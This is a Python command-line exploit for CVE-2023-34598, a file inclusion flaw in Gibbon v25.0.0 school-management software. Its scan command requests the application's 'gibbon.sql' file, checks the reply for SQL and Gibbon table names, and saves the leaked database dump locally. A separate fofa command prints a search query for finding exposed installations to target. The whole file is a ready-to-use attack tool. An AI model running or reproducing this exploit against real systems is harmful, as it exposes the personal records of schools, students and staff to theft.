#!/usr/bin/env python3 import os import sys import argparse import requests import re # Suppress only the single InsecureRequestWarning from urllib3 needed from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) DESCRIPTION = """ CVE-2023-34598 - Gibbon v25.0.0 LFI Exploit """ FOFA_QUERY = """\ Use this FOFA query to search for potentially vulnerable targets: icon_hash="-165631681" """ # Global variables cont = 1 default_dirname = "Gibbon_dump" def make_dir(dirname=default_dirname): """ Attempts to create the specified directory and then chdir into it. If the directory already exists, increments a global counter and retries with a new name (Gibbon_dump-2, etc.). """ global cont try: os.mkdir(dirname) os.chdir(dirname) except FileExistsError: cont += 1 new_name = f"{default_dirname}-{cont}" make_dir(new_name) def scan_target(url): """ Main logic to test the target URL for the vulnerability and, if found, create a directory to store the results. """ if url.endswith("/"): url = url[:-1] try: print(f"[*] Scanning URL: {url}") r = requests.get(f"{url}/?q=gibbon.sql", verify=False, timeout=10) response_text = r.text # Check for SQL related patterns and Gibbon-specific tables gibbon_tables = ["gibbonAction", "gibbonModule", "gibbonPerson", "gibbonRole"] has_sql_syntax = any(pattern in response_text for pattern in ["CREATE TABLE", "INSERT INTO", "ENGINE=InnoDB"]) has_gibbon_tables = any(table in response_text for table in gibbon_tables) if r.status_code == 200 and has_sql_syntax and has_gibbon_tables: print("[+] Target appears vulnerable. Saving dump...") make_dir() # Create or enter output directory with open("!target.txt", "w") as f: f.write(url) # Extract the SQL content - find the first SQL-like line and extract from there sql_start_patterns = ["-- phpMyAdmin", "-- MySQL", "-- Dump", "SET SQL_MODE"] sql_end_patterns = ["AUTO_INCREMENT=", "COMMIT;", ");", "-- EOF"] # Find start index start_idx = -1 for pattern in sql_start_patterns: idx = response_text.find(pattern) if idx != -1: start_idx = idx break # If no standard start found, try to find first SQL-like statement if start_idx == -1: match = re.search(r'(CREATE TABLE|SET SQL_MODE|INSERT INTO)', response_text) if match: start_idx = match.start() # Find a reasonable end point end_idx = len(response_text) for pattern in sql_end_patterns: idx = response_text.rfind(pattern) if idx != -1: # Find the end of the line containing this pattern line_end = response_text.find('\n', idx) if line_end != -1: end_idx = min(end_idx, line_end + 1) else: end_idx = min(end_idx, len(response_text)) if start_idx != -1: # Limit the end_idx to be after start_idx end_idx = max(end_idx, start_idx + 100) relevant_sql = response_text[start_idx:end_idx] with open("gibbon.sql", "w") as sql_file: sql_file.write(relevant_sql) current_dir = os.path.basename(os.getcwd()) print(f"[+] Database dump saved to '{current_dir}/gibbon.sql'.") else: print("[!] SQL content detected but could not locate clear start markers. Saving complete response.") with open("full_response.txt", "w") as f: f.write(response_text) else: print("[-] Not vulnerable.") except Exception as e: print(f"[!] Error: {e}") sys.exit(1) def show_fofa_query(): """ Prints the FOFA query that can be used to discover potential targets. """ print(FOFA_QUERY) def main(): parser = argparse.ArgumentParser( description=DESCRIPTION, formatter_class=argparse.RawTextHelpFormatter ) subparsers = parser.add_subparsers( title="Commands", dest="command", help="Choose one of the available commands." ) # --- Subcommand: scan --- parser_scan = subparsers.add_parser( "scan", help="Scan a target URL for the CVE-2023-34598 vulnerability." ) parser_scan.add_argument( "url", help="Base URL of the Gibbon application (e.g., https://example.com/gibbon)" ) # --- Subcommand: fofa --- parser_fofa = subparsers.add_parser( "fofa", help="Print a FOFA query for finding vulnerable targets." ) # Parse the args args = parser.parse_args() # If no command is provided, show help if not args.command: parser.print_help() sys.exit(0) # Dispatch to subcommand logic if args.command == "scan": scan_target(args.url) elif args.command == "fofa": show_fofa_query() else: parser.print_help() if __name__ == "__main__": main()